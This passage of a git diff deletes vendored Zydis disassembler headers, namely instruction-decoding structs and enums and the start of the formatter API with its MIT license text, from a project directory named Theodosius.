-typedef enum ZydisBroadcastMode_ -{ - ZYDIS_BROADCAST_MODE_INVALID, - ZYDIS_BROADCAST_MODE_1_TO_2, - ZYDIS_BROADCAST_MODE_1_TO_4, - ZYDIS_BROADCAST_MODE_1_TO_8, - ZYDIS_BROADCAST_MODE_1_TO_16, - ZYDIS_BROADCAST_MODE_1_TO_32, - ZYDIS_BROADCAST_MODE_1_TO_64, - ZYDIS_BROADCAST_MODE_2_TO_4, - ZYDIS_BROADCAST_MODE_2_TO_8, - ZYDIS_BROADCAST_MODE_2_TO_16, - ZYDIS_BROADCAST_MODE_4_TO_8, - ZYDIS_BROADCAST_MODE_4_TO_16, - ZYDIS_BROADCAST_MODE_8_TO_16, - - /** - * Maximum value of this enum. - */ - ZYDIS_BROADCAST_MODE_MAX_VALUE = ZYDIS_BROADCAST_MODE_8_TO_16, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_BROADCAST_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_BROADCAST_MODE_MAX_VALUE) -} ZydisBroadcastMode; - -/* ---------------------------------------------------------------------------------------------- */ -/* AVX rounding-mode */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisRoundingMode` enum. - */ -typedef enum ZydisRoundingMode_ -{ - ZYDIS_ROUNDING_MODE_INVALID, - /** - * Round to nearest. - */ - ZYDIS_ROUNDING_MODE_RN, - /** - * Round down. - */ - ZYDIS_ROUNDING_MODE_RD, - /** - * Round up. - */ - ZYDIS_ROUNDING_MODE_RU, - /** - * Round towards zero. - */ - ZYDIS_ROUNDING_MODE_RZ, - - /** - * Maximum value of this enum. - */ - ZYDIS_ROUNDING_MODE_MAX_VALUE = ZYDIS_ROUNDING_MODE_RZ, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_ROUNDING_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_ROUNDING_MODE_MAX_VALUE) -} ZydisRoundingMode; - -/* ---------------------------------------------------------------------------------------------- */ -/* KNC swizzle-mode */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisSwizzleMode` enum. - */ -typedef enum ZydisSwizzleMode_ -{ - ZYDIS_SWIZZLE_MODE_INVALID, - ZYDIS_SWIZZLE_MODE_DCBA, - ZYDIS_SWIZZLE_MODE_CDAB, - ZYDIS_SWIZZLE_MODE_BADC, - ZYDIS_SWIZZLE_MODE_DACB, - ZYDIS_SWIZZLE_MODE_AAAA, - ZYDIS_SWIZZLE_MODE_BBBB, - ZYDIS_SWIZZLE_MODE_CCCC, - ZYDIS_SWIZZLE_MODE_DDDD, - - /** - * Maximum value of this enum. - */ - ZYDIS_SWIZZLE_MODE_MAX_VALUE = ZYDIS_SWIZZLE_MODE_DDDD, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_SWIZZLE_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_SWIZZLE_MODE_MAX_VALUE) -} ZydisSwizzleMode; - -/* ---------------------------------------------------------------------------------------------- */ -/* KNC conversion-mode */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisConversionMode` enum. - */ -typedef enum ZydisConversionMode_ -{ - ZYDIS_CONVERSION_MODE_INVALID, - ZYDIS_CONVERSION_MODE_FLOAT16, - ZYDIS_CONVERSION_MODE_SINT8, - ZYDIS_CONVERSION_MODE_UINT8, - ZYDIS_CONVERSION_MODE_SINT16, - ZYDIS_CONVERSION_MODE_UINT16, - - /** - * Maximum value of this enum. - */ - ZYDIS_CONVERSION_MODE_MAX_VALUE = ZYDIS_CONVERSION_MODE_UINT16, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_CONVERSION_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_CONVERSION_MODE_MAX_VALUE) -} ZydisConversionMode; - -/* ---------------------------------------------------------------------------------------------- */ -/* Legacy prefix type */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisPrefixType` enum. - */ -typedef enum ZydisPrefixType_ -{ - /** - * The prefix is ignored by the instruction. - * - * This applies to all prefixes that are not accepted by the instruction in general or the - * ones that are overwritten by a prefix of the same group closer to the instruction opcode. - */ - ZYDIS_PREFIX_TYPE_IGNORED, - /** - * The prefix is effectively used by the instruction. - */ - ZYDIS_PREFIX_TYPE_EFFECTIVE, - /** - * The prefix is used as a mandatory prefix. - * - * A mandatory prefix is interpreted as an opcode extension and has no further effect on the - * instruction. - */ - ZYDIS_PREFIX_TYPE_MANDATORY, - - /** - * Maximum value of this enum. - */ - ZYDIS_PREFIX_TYPE_MAX_VALUE = ZYDIS_PREFIX_TYPE_MANDATORY, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_PREFIX_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_PREFIX_TYPE_MAX_VALUE) -} ZydisPrefixType; - -// TODO: Check effective for 66/67 prefixes (currently defaults to EFFECTIVE) - -/* ---------------------------------------------------------------------------------------------- */ -/* Decoded instruction */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Information about a decoded instruction. - */ -typedef struct ZydisDecodedInstruction_ -{ - /** - * The machine mode used to decode this instruction. - */ - ZydisMachineMode machine_mode; - /** - * The instruction-mnemonic. - */ - ZydisMnemonic mnemonic; - /** - * The length of the decoded instruction. - */ - ZyanU8 length; - /** - * The instruction-encoding (`LEGACY`, `3DNOW`, `VEX`, `EVEX`, `XOP`). - */ - ZydisInstructionEncoding encoding; - /** - * The opcode-map. - */ - ZydisOpcodeMap opcode_map; - /** - * The instruction-opcode. - */ - ZyanU8 opcode; - /** - * The stack width. - */ - ZyanU8 stack_width; - /** - * The effective operand width. - */ - ZyanU8 operand_width; - /** - * The effective address width. - */ - ZyanU8 address_width; - /** - * The number of instruction-operands. - */ - ZyanU8 operand_count; - /** - * Detailed info for all instruction operands. - * - * Explicit operands are guaranteed to be in the front and ordered as they are printed - * by the formatter in Intel mode. No assumptions can be made about the order of hidden - * operands, except that they always located behind the explicit operands. - */ - ZydisDecodedOperand operands[ZYDIS_MAX_OPERAND_COUNT]; - /** - * Instruction attributes. - */ - ZydisInstructionAttributes attributes; - /** - * Information about accessed CPU flags. - * - * DEPRECATED. This field will be removed in the next major release. Please use the - * `cpu_flags_read`/`cpu_flags_written` or `fpu_flags_read`/`fpu_flags_written` fields - * instead. - */ - struct ZydisDecodedInstructionAccessedFlags_ - { - /** - * The CPU-flag action. - * - * Use `ZydisGetAccessedFlagsByAction` to get a mask with all flags matching a specific - * action. - */ - ZydisCPUFlagAction action; - } accessed_flags[ZYDIS_CPUFLAG_MAX_VALUE + 1]; - /** - * A mask containing the CPU flags read by the instruction. - * - * The bits in this mask correspond to the actual bits in the `FLAGS/EFLAGS/RFLAGS` - * register. - * - * This mask includes the actions `TESTED` and `TESTED_MODIFIED`. - */ - ZydisCPUFlags cpu_flags_read; - /** - * A mask containing the CPU flags written by the instruction. - * - * The bits in this mask correspond to the actual bits in the `FLAGS/EFLAGS/RFLAGS` - * register. - * - * This mask includes the actions `TESTED_MODIFIED`, `SET_0`, `SET_1` and `UNDEFINED`. - */ - ZydisCPUFlags cpu_flags_written; - /** - * A mask containing the FPU flags read by the instruction. - */ - ZydisFPUFlags fpu_flags_read; - /** - * A mask containing the FPU flags written by the instruction. - */ - ZydisFPUFlags fpu_flags_written; - /** - * Extended info for `AVX` instructions. - */ - struct ZydisDecodedInstructionAvx_ - { - /** - * The `AVX` vector-length. - */ - ZyanU16 vector_length; - /** - * Info about the embedded writemask-register (`AVX-512` and `KNC` only). - */ - struct ZydisDecodedInstructionAvxMask_ - { - /** - * The masking mode. - */ - ZydisMaskMode mode; - /** - * The mask register. - */ - ZydisRegister reg; - } mask; - /** - * Contains info about the `AVX` broadcast. - */ - struct ZydisDecodedInstructionAvxBroadcast_ - { - /** - * Signals, if the broadcast is a static broadcast. - * - * This is the case for instructions with inbuilt broadcast functionality, which is - * always active and not controlled by the `EVEX/MVEX.RC` bits. - */ - ZyanBool is_static; - /** - * The `AVX` broadcast-mode. - */ - ZydisBroadcastMode mode; - } broadcast; - /** - * Contains info about the `AVX` rounding. - */ - struct ZydisDecodedInstructionAvxRounding_ - { - /** - * The `AVX` rounding-mode. - */ - ZydisRoundingMode mode; - } rounding; - /** - * Contains info about the `AVX` register-swizzle (`KNC` only). - */ - struct ZydisDecodedInstructionAvxSwizzle_ - { - /** - * The `AVX` register-swizzle mode. - */ - ZydisSwizzleMode mode; - } swizzle; - /** - * Contains info about the `AVX` data-conversion (`KNC` only). - */ - struct ZydisDecodedInstructionAvxConversion_ - { - /** - * The `AVX` data-conversion mode. - */ - ZydisConversionMode mode; - } conversion; - /** - * Signals, if the `SAE` (suppress-all-exceptions) functionality is - * enabled for the instruction. - */ - ZyanBool has_sae; - /** - * Signals, if the instruction has a memory-eviction-hint (`KNC` only). - */ - ZyanBool has_eviction_hint; - // TODO: publish EVEX tuple-type and MVEX functionality - } avx; - /** - * Meta info. - */ - struct ZydisDecodedInstructionMeta_ - { - /** - * The instruction category. - */ - ZydisInstructionCategory category; - /** - * The ISA-set. - */ - ZydisISASet isa_set; - /** - * The ISA-set extension. - */ - ZydisISAExt isa_ext; - /** - * The branch type. - */ - ZydisBranchType branch_type; - /** - * The exception class. - */ - ZydisExceptionClass exception_class; - } meta; - /** - * Detailed info about different instruction-parts like `ModRM`, `SIB` or - * encoding-prefixes. - */ - struct ZydisDecodedInstructionRaw_ - { - /** - * The number of legacy prefixes. - */ - ZyanU8 prefix_count; - /** - * Detailed info about the legacy prefixes (including `REX`). - */ - struct ZydisDecodedInstructionRawPrefixes_ - { - /** - * The prefix type. - */ - ZydisPrefixType type; - /** - * The prefix byte. - */ - ZyanU8 value; - } prefixes[ZYDIS_MAX_INSTRUCTION_LENGTH]; - /** - * Detailed info about the `REX` prefix. - */ - struct ZydisDecodedInstructionRawRex_ - { - /** - * 64-bit operand-size promotion. - */ - ZyanU8 W; - /** - * Extension of the `ModRM.reg` field. - */ - ZyanU8 R; - /** - * Extension of the `SIB.index` field. - */ - ZyanU8 X; - /** - * Extension of the `ModRM.rm`, `SIB.base`, or `opcode.reg` field. - */ - ZyanU8 B; - /** - * The offset of the effective `REX` byte, relative to the beginning of the - * instruction, in bytes. - * - * This offset always points to the "effective" `REX` prefix (the one closest to the - * instruction opcode), if multiple `REX` prefixes are present. - * - * Note that the `REX` byte can be the first byte of the instruction, which would lead - * to an offset of `0`. Please refer to the instruction attributes to check for the - * presence of the `REX` prefix. - */ - ZyanU8 offset; - } rex; - /** - * Detailed info about the `XOP` prefix. - */ - struct ZydisDecodedInstructionRawXop_ - { - /** - * Extension of the `ModRM.reg` field (inverted). - */ - ZyanU8 R; - /** - * Extension of the `SIB.index` field (inverted). - */ - ZyanU8 X; - /** - * Extension of the `ModRM.rm`, `SIB.base`, or `opcode.reg` field (inverted). - */ - ZyanU8 B; - /** - * Opcode-map specifier. - */ - ZyanU8 m_mmmm; - /** - * 64-bit operand-size promotion or opcode-extension. - */ - ZyanU8 W; - /** - * `NDS`/`NDD` (non-destructive-source/destination) register - * specifier (inverted). - */ - ZyanU8 vvvv; - /** - * Vector-length specifier. - */ - ZyanU8 L; - /** - * Compressed legacy prefix. - */ - ZyanU8 pp; - /** - * The offset of the first xop byte, relative to the beginning of - * the instruction, in bytes. - */ - ZyanU8 offset; - } xop; - /** - * Detailed info about the `VEX` prefix. - */ - struct ZydisDecodedInstructionRawVex_ - { - /** - * Extension of the `ModRM.reg` field (inverted). - */ - ZyanU8 R; - /** - * Extension of the `SIB.index` field (inverted). - */ - ZyanU8 X; - /** - * Extension of the `ModRM.rm`, `SIB.base`, or `opcode.reg` field (inverted). - */ - ZyanU8 B; - /** - * Opcode-map specifier. - */ - ZyanU8 m_mmmm; - /** - * 64-bit operand-size promotion or opcode-extension. - */ - ZyanU8 W; - /** - * `NDS`/`NDD` (non-destructive-source/destination) register specifier - * (inverted). - */ - ZyanU8 vvvv; - /** - * Vector-length specifier. - */ - ZyanU8 L; - /** - * Compressed legacy prefix. - */ - ZyanU8 pp; - /** - * The offset of the first `VEX` byte, relative to the beginning of the instruction, in - * bytes. - */ - ZyanU8 offset; - /** - * The size of the `VEX` prefix, in bytes. - */ - ZyanU8 size; - } vex; - /** - * Detailed info about the `EVEX` prefix. - */ - struct ZydisDecodedInstructionRawEvex_ - { - /** - * Extension of the `ModRM.reg` field (inverted). - */ - ZyanU8 R; - /** - * Extension of the `SIB.index/vidx` field (inverted). - */ - ZyanU8 X; - /** - * Extension of the `ModRM.rm` or `SIB.base` field (inverted). - */ - ZyanU8 B; - /** - * High-16 register specifier modifier (inverted). - */ - ZyanU8 R2; - /** - * Opcode-map specifier. - */ - ZyanU8 mm; - /** - * 64-bit operand-size promotion or opcode-extension. - */ - ZyanU8 W; - /** - * `NDS`/`NDD` (non-destructive-source/destination) register specifier - * (inverted). - */ - ZyanU8 vvvv; - /** - * Compressed legacy prefix. - */ - ZyanU8 pp; - /** - * Zeroing/Merging. - */ - ZyanU8 z; - /** - * Vector-length specifier or rounding-control (most significant bit). - */ - ZyanU8 L2; - /** - * Vector-length specifier or rounding-control (least significant bit). - */ - ZyanU8 L; - /** - * Broadcast/RC/SAE context. - */ - ZyanU8 b; - /** - * High-16 `NDS`/`VIDX` register specifier. - */ - ZyanU8 V2; - /** - * Embedded opmask register specifier. - */ - ZyanU8 aaa; - /** - * The offset of the first evex byte, relative to the beginning of the - * instruction, in bytes. - */ - ZyanU8 offset; - } evex; - /** - * Detailed info about the `MVEX` prefix. - */ - struct ZydisDecodedInstructionRawMvex_ - { - /** - * Extension of the `ModRM.reg` field (inverted). - */ - ZyanU8 R; - /** - * Extension of the `SIB.index/vidx` field (inverted). - */ - ZyanU8 X; - /** - * Extension of the `ModRM.rm` or `SIB.base` field (inverted). - */ - ZyanU8 B; - /** - * High-16 register specifier modifier (inverted). - */ - ZyanU8 R2; - /** - * Opcode-map specifier. - */ - ZyanU8 mmmm; - /** - * 64-bit operand-size promotion or opcode-extension. - */ - ZyanU8 W; - /** - * `NDS`/`NDD` (non-destructive-source/destination) register specifier - * (inverted). - */ - ZyanU8 vvvv; - /** - * Compressed legacy prefix. - */ - ZyanU8 pp; - /** - * Non-temporal/eviction hint. - */ - ZyanU8 E; - /** - * Swizzle/broadcast/up-convert/down-convert/static-rounding controls. - */ - ZyanU8 SSS; - /** - * High-16 `NDS`/`VIDX` register specifier. - */ - ZyanU8 V2; - /** - * Embedded opmask register specifier. - */ - ZyanU8 kkk; - /** - * The offset of the first mvex byte, relative to the beginning of the - * instruction, in bytes. - */ - ZyanU8 offset; - } mvex; - /** - * Detailed info about the `ModRM` byte. - */ - struct ZydisDecodedInstructionModRm_ - { - /** - * The addressing mode. - */ - ZyanU8 mod; - /** - * Register specifier or opcode-extension. - */ - ZyanU8 reg; - /** - * Register specifier or opcode-extension. - */ - ZyanU8 rm; - /** - * The offset of the `ModRM` byte, relative to the beginning of the - * instruction, in bytes. - */ - ZyanU8 offset; - } modrm; - /** - * Detailed info about the `SIB` byte. - */ - struct ZydisDecodedInstructionRawSib_ - { - /** - * The scale factor. - */ - ZyanU8 scale; - /** - * The index-register specifier. - */ - ZyanU8 index; - /** - * The base-register specifier. - */ - ZyanU8 base; - /** - * The offset of the `SIB` byte, relative to the beginning of the - * instruction, in bytes. - */ - ZyanU8 offset; - } sib; - /** - * Detailed info about displacement-bytes. - */ - struct ZydisDecodedInstructionRawDisp_ - { - /** - * The displacement value - */ - ZyanI64 value; - /** - * The physical displacement size, in bits. - */ - ZyanU8 size; - // TODO: publish cd8 scale - /** - * The offset of the displacement data, relative to the beginning of the - * instruction, in bytes. - */ - ZyanU8 offset; - } disp; - /** - * Detailed info about immediate-bytes. - */ - struct ZydisDecodedInstructionRawImm_ - { - /** - * Signals, if the immediate value is signed. - */ - ZyanBool is_signed; - /** - * Signals, if the immediate value contains a relative offset. You can use - * `ZydisCalcAbsoluteAddress` to determine the absolute address value. - */ - ZyanBool is_relative; - /** - * The immediate value. - */ - union ZydisDecodedInstructionRawImmValue_ - { - ZyanU64 u; - ZyanI64 s; - } value; - /** - * The physical immediate size, in bits. - */ - ZyanU8 size; - /** - * The offset of the immediate data, relative to the beginning of the - * instruction, in bytes. - */ - ZyanU8 offset; - } imm[2]; - } raw_symbol; -} ZydisDecodedInstruction; - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYDIS_INSTRUCTIONINFO_H */ diff --git a/src/Theodosius/Zydis/Formatter.h b/src/Theodosius/Zydis/Formatter.h deleted file mode 100644 index c68bcde..0000000 --- a/src/Theodosius/Zydis/Formatter.h +++ /dev/null @@ -1,1179 +0,0 @@ -/*************************************************************************************************** - - Zyan Disassembler Library (Zydis) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Functions for formatting instructions to human-readable text. - */ - -#ifndef ZYDIS_FORMATTER_H -#define ZYDIS_FORMATTER_H - -#include -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Constants */ -/* ============================================================================================== */ - -/** - * Use this constant as value for `runtime_address` in `ZydisFormatterFormatInstruction(Ex)` - * or `ZydisFormatterFormatOperand(Ex)` to print relative values for all addresses. - */ -#define ZYDIS_RUNTIME_ADDRESS_NONE (ZyanU64)(-1) - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Formatter style */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisFormatterStyle` enum. - */ -typedef enum ZydisFormatterStyle_ -{ - /** - * Generates `AT&T`-style disassembly. - */ - ZYDIS_FORMATTER_STYLE_ATT, - /** - * Generates `Intel`-style disassembly. - */ - ZYDIS_FORMATTER_STYLE_INTEL, - /** - * Generates `MASM`-style disassembly that is directly accepted as input for - * the `MASM` assembler. - * - * The runtime-address is ignored in this mode. - */ - ZYDIS_FORMATTER_STYLE_INTEL_MASM, - - /** - * Maximum value of this enum. - */ - ZYDIS_FORMATTER_STYLE_MAX_VALUE = ZYDIS_FORMATTER_STYLE_INTEL_MASM, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_FORMATTER_STYLE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_FORMATTER_STYLE_MAX_VALUE) -} ZydisFormatterStyle; - -/* ---------------------------------------------------------------------------------------------- */ -/* Properties */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisFormatterProperty` enum. - */ -typedef enum ZydisFormatterProperty_ -{ - /* ---------------------------------------------------------------------------------------- */ - /* General */ - /* ---------------------------------------------------------------------------------------- */ - - /** - * Controls the printing of effective operand-size suffixes (`AT&T`) or operand-sizes - * of memory operands (`INTEL`). - * - * Pass `ZYAN_TRUE` as value to force the formatter to always print the size, or `ZYAN_FALSE` - * to only print it if needed. - */ - ZYDIS_FORMATTER_PROP_FORCE_SIZE, - /** - * Controls the printing of segment prefixes. - * - * Pass `ZYAN_TRUE` as value to force the formatter to always print the segment register of - * memory-operands or `ZYAN_FALSE` to omit implicit `DS`/`SS` segments. - */ - ZYDIS_FORMATTER_PROP_FORCE_SEGMENT, - /** - * Controls the printing of branch addresses. - * - * Pass `ZYAN_TRUE` as value to force the formatter to always print relative branch addresses - * or `ZYAN_FALSE` to use absolute addresses, if a runtime-address different to - * `ZYDIS_RUNTIME_ADDRESS_NONE` was passed. - */ - ZYDIS_FORMATTER_PROP_FORCE_RELATIVE_BRANCHES, - /** - * Controls the printing of `EIP`/`RIP`-relative addresses. - * - * Pass `ZYAN_TRUE` as value to force the formatter to always print relative addresses for - * `EIP`/`RIP`-relative operands or `ZYAN_FALSE` to use absolute addresses, if a runtime- - * address different to `ZYDIS_RUNTIME_ADDRESS_NONE` was passed. - */ - ZYDIS_FORMATTER_PROP_FORCE_RELATIVE_RIPREL, - /** - * Controls the printing of branch-instructions sizes. - * - * Pass `ZYAN_TRUE` as value to print the size (`short`, `near`) of branch - * instructions or `ZYAN_FALSE` to hide it. - * - * Note that the `far`/`l` modifier is always printed. - */ - ZYDIS_FORMATTER_PROP_PRINT_BRANCH_SIZE, - - /** - * Controls the printing of instruction prefixes. - * - * Pass `ZYAN_TRUE` as value to print all instruction-prefixes (even ignored or duplicate - * ones) or `ZYAN_FALSE` to only print prefixes that are effectively used by the instruction. - */ - ZYDIS_FORMATTER_PROP_DETAILED_PREFIXES, - - /* ---------------------------------------------------------------------------------------- */ - /* Numeric values */ - /* ---------------------------------------------------------------------------------------- */ - - /** - * Controls the base of address values. - */ - ZYDIS_FORMATTER_PROP_ADDR_BASE, - /** - * Controls the signedness of relative addresses. Absolute addresses are - * always unsigned. - */ - ZYDIS_FORMATTER_PROP_ADDR_SIGNEDNESS, - /** - * Controls the padding of absolute address values. - * - * Pass `ZYDIS_PADDING_DISABLED` to disable padding, `ZYDIS_PADDING_AUTO` to padd all - * addresses to the current stack width (hexadecimal only), or any other integer value for - * custom padding. - */ - ZYDIS_FORMATTER_PROP_ADDR_PADDING_ABSOLUTE, - /** - * Controls the padding of relative address values. - * - * Pass `ZYDIS_PADDING_DISABLED` to disable padding, `ZYDIS_PADDING_AUTO` to padd all - * addresses to the current stack width (hexadecimal only), or any other integer value for - * custom padding. - */ - ZYDIS_FORMATTER_PROP_ADDR_PADDING_RELATIVE, - - /* ---------------------------------------------------------------------------------------- */ - - /** - * Controls the base of displacement values. - */ - ZYDIS_FORMATTER_PROP_DISP_BASE, - /** - * Controls the signedness of displacement values. - */ - ZYDIS_FORMATTER_PROP_DISP_SIGNEDNESS, - /** - * Controls the padding of displacement values. - * - * Pass `ZYDIS_PADDING_DISABLED` to disable padding, or any other integer value for custom - * padding. - */ - ZYDIS_FORMATTER_PROP_DISP_PADDING, - - /* ---------------------------------------------------------------------------------------- */ - - /** - * Controls the base of immediate values. - */ - ZYDIS_FORMATTER_PROP_IMM_BASE, - /** - * Controls the signedness of immediate values. - * - * Pass `ZYDIS_SIGNEDNESS_AUTO` to automatically choose the most suitable mode based on the - * operands `ZydisDecodedOperand.imm.is_signed` attribute. - */ - ZYDIS_FORMATTER_PROP_IMM_SIGNEDNESS, - /** - * Controls the padding of immediate values. - * - * Pass `ZYDIS_PADDING_DISABLED` to disable padding, `ZYDIS_PADDING_AUTO` to padd all - * immediates to the operand-width (hexadecimal only), or any other integer value for custom - * padding. - */ - ZYDIS_FORMATTER_PROP_IMM_PADDING, - - /* ---------------------------------------------------------------------------------------- */ - /* Text formatting */ - /* ---------------------------------------------------------------------------------------- */ - - /** - * Controls the letter-case for prefixes. - * - * Pass `ZYAN_TRUE` as value to format in uppercase or `ZYAN_FALSE` to format in lowercase. - */ - ZYDIS_FORMATTER_PROP_UPPERCASE_PREFIXES, - /** - * Controls the letter-case for the mnemonic. - * - * Pass `ZYAN_TRUE` as value to format in uppercase or `ZYAN_FALSE` to format in lowercase. - */ - ZYDIS_FORMATTER_PROP_UPPERCASE_MNEMONIC, - /** - * Controls the letter-case for registers. - * - * Pass `ZYAN_TRUE` as value to format in uppercase or `ZYAN_FALSE` to format in lowercase. - */ - ZYDIS_FORMATTER_PROP_UPPERCASE_REGISTERS, - /** - * Controls the letter-case for typecasts. - * - * Pass `ZYAN_TRUE` as value to format in uppercase or `ZYAN_FALSE` to format in lowercase. - */ - ZYDIS_FORMATTER_PROP_UPPERCASE_TYPECASTS, - /** - * Controls the letter-case for decorators. - * - * Pass `ZYAN_TRUE` as value to format in uppercase or `ZYAN_FALSE` to format in lowercase. - */ - ZYDIS_FORMATTER_PROP_UPPERCASE_DECORATORS, - - /* ---------------------------------------------------------------------------------------- */ - /* Number formatting */ - /* ---------------------------------------------------------------------------------------- */ - - /** - * Controls the prefix for decimal values. - * - * Pass a pointer to a null-terminated C-style string with a maximum length of 10 characters - * to set a custom prefix, or `ZYAN_NULL` to disable it. - * - * The string is deep-copied into an internal buffer. - */ - ZYDIS_FORMATTER_PROP_DEC_PREFIX, - /** - * Controls the suffix for decimal values. - * - * Pass a pointer to a null-terminated C-style string with a maximum length of 10 characters - * to set a custom suffix, or `ZYAN_NULL` to disable it. - * - * The string is deep-copied into an internal buffer. - */ - ZYDIS_FORMATTER_PROP_DEC_SUFFIX, - - /* ---------------------------------------------------------------------------------------- */ - - /** - * Controls the letter-case of hexadecimal values. - * - * Pass `ZYAN_TRUE` as value to format in uppercase and `ZYAN_FALSE` to format in lowercase. - * - * The default value is `ZYAN_TRUE`. - */ - ZYDIS_FORMATTER_PROP_HEX_UPPERCASE, - /** - * Controls the prefix for hexadecimal values. - * - * Pass a pointer to a null-terminated C-style string with a maximum length of 10 characters - * to set a custom prefix, or `ZYAN_NULL` to disable it. - * - * The string is deep-copied into an internal buffer. - */ - ZYDIS_FORMATTER_PROP_HEX_PREFIX, - /** - * Controls the suffix for hexadecimal values. - * - * Pass a pointer to a null-terminated C-style string with a maximum length of 10 characters - * to set a custom suffix, or `ZYAN_NULL` to disable it. - * - * The string is deep-copied into an internal buffer. - */ - ZYDIS_FORMATTER_PROP_HEX_SUFFIX, - - /* ---------------------------------------------------------------------------------------- */ - - /** - * Maximum value of this enum. - */ - ZYDIS_FORMATTER_PROP_MAX_VALUE = ZYDIS_FORMATTER_PROP_HEX_SUFFIX, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_FORMATTER_PROP_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_FORMATTER_PROP_MAX_VALUE) -} ZydisFormatterProperty; - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisNumericBase` enum. - */ -typedef enum ZydisNumericBase_ -{ - /** - * Decimal system. - */ - ZYDIS_NUMERIC_BASE_DEC, - /** - * Hexadecimal system. - */ - ZYDIS_NUMERIC_BASE_HEX, - - /** - * Maximum value of this enum. - */ - ZYDIS_NUMERIC_BASE_MAX_VALUE = ZYDIS_NUMERIC_BASE_HEX, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_NUMERIC_BASE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_NUMERIC_BASE_MAX_VALUE) -} ZydisNumericBase; - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisSignedness` enum. - */ -typedef enum ZydisSignedness_ -{ - /** - * Automatically choose the most suitable mode based on the operands - * ZydisDecodedOperand.imm.is_signed` attribute. - */ - ZYDIS_SIGNEDNESS_AUTO, - /** - * Force signed values. - */ - ZYDIS_SIGNEDNESS_SIGNED, - /** - * Force unsigned values. - */ - ZYDIS_SIGNEDNESS_UNSIGNED, - - /** - * Maximum value of this enum. - */ - ZYDIS_SIGNEDNESS_MAX_VALUE = ZYDIS_SIGNEDNESS_UNSIGNED, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_SIGNEDNESS_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_SIGNEDNESS_MAX_VALUE) -} ZydisSignedness; - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisPadding` enum. - */ -typedef enum ZydisPadding_ -{ - /** - * Disables padding. - */ - ZYDIS_PADDING_DISABLED = 0, - /** - * Padds the value to the current stack-width for addresses, or to the - * operand-width for immediate values (hexadecimal only). - */ - ZYDIS_PADDING_AUTO = (-1), - - /** - * Maximum value of this enum. - */ - ZYDIS_PADDING_MAX_VALUE = ZYDIS_PADDING_AUTO, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_PADDING_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_PADDING_MAX_VALUE) -} ZydisPadding; - -/* ---------------------------------------------------------------------------------------------- */ -/* Function types */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisFormatterFunction` enum. - * - * Do NOT change the order of the values this enum or the function fields inside the - * `ZydisFormatter` struct. - */ -typedef enum ZydisFormatterFunction_ -{ - /* ---------------------------------------------------------------------------------------- */ - /* Instruction */ - /* ---------------------------------------------------------------------------------------- */ - - /** - * This function is invoked before the formatter formats an instruction. - */ - ZYDIS_FORMATTER_FUNC_PRE_INSTRUCTION, - /** - * This function is invoked after the formatter formatted an instruction. - */ - ZYDIS_FORMATTER_FUNC_POST_INSTRUCTION, - - /* ---------------------------------------------------------------------------------------- */ - - /** - * This function refers to the main formatting function. - * - * Replacing this function allows for complete custom formatting, but indirectly disables all - * other hooks except for `ZYDIS_FORMATTER_FUNC_PRE_INSTRUCTION` and - * 